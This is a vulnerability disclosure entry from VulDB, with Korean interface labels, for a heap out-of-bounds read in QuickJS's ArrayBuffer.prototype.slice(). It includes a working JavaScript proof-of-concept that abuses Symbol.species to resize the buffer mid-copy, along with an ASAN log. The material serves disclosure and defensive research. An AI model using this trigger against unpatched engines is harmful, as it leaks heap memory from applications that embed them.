| 제목 | Fabrice Bellard QuickJS Latest commit eb2c890 (and earlier versions) Memory Corruption |
|---|
| 설명 | A heap buffer overflow vulnerability exists in ArrayBuffer.prototype.slice() for resizable ArrayBuffers.
The following proof-of-concept triggers the issue:
let buf = new ArrayBuffer(1000, { maxByteLength: 2000 });
Object.defineProperty(buf.constructor, Symbol.species, {
value: function(len) {
buf.resize(100);
return new ArrayBuffer(len);
}
});
buf.slice(500, 1000);
The vulnerability is a Time-of-Check-Time-of-Use (TOCTOU, CWE-367) condition where the
species constructor resizes the buffer mid-operation. The subsequent memcpy()
uses stale offset values calculated before the resize, resulting in an
out-of-bounds read of 400+ bytes beyond the allocated heap buffer.
ASAN logs:
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000002b74 at pc 0x7f41b0c4814b bp 0x7ffc17851450 sp 0x7ffc17850c00
READ of size 500 at 0x60b000002b74 thread T0 [...]
Impact: Information disclosure through heap memory leak (CWE-125: Out-of-bounds Read)
Affected Implementations:
- bellard/quickjs (issue #451)
- quickjs-ng/quickjs (issue #1210)
Credits: Iacob Razvan Mihai |
|---|
| 원천 | ⚠️ https://github.com/bellard/quickjs/issues/451 |
|---|
| 사용자 | im-razvan (UID 91857) |
|---|
| 제출 | 2025. 10. 21. AM 01:27 (12 개월 ago) |
|---|
| 모더레이션 | 2025. 11. 05. PM 02:54 (16 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 331268 [QuickJS 까지 eb2c89087def1829ed99630cb14b549d7a98408c quickjs.c js_array_buffer_slice Local Privilege Escalation] |
|---|
| 포인트들 | 20 |
|---|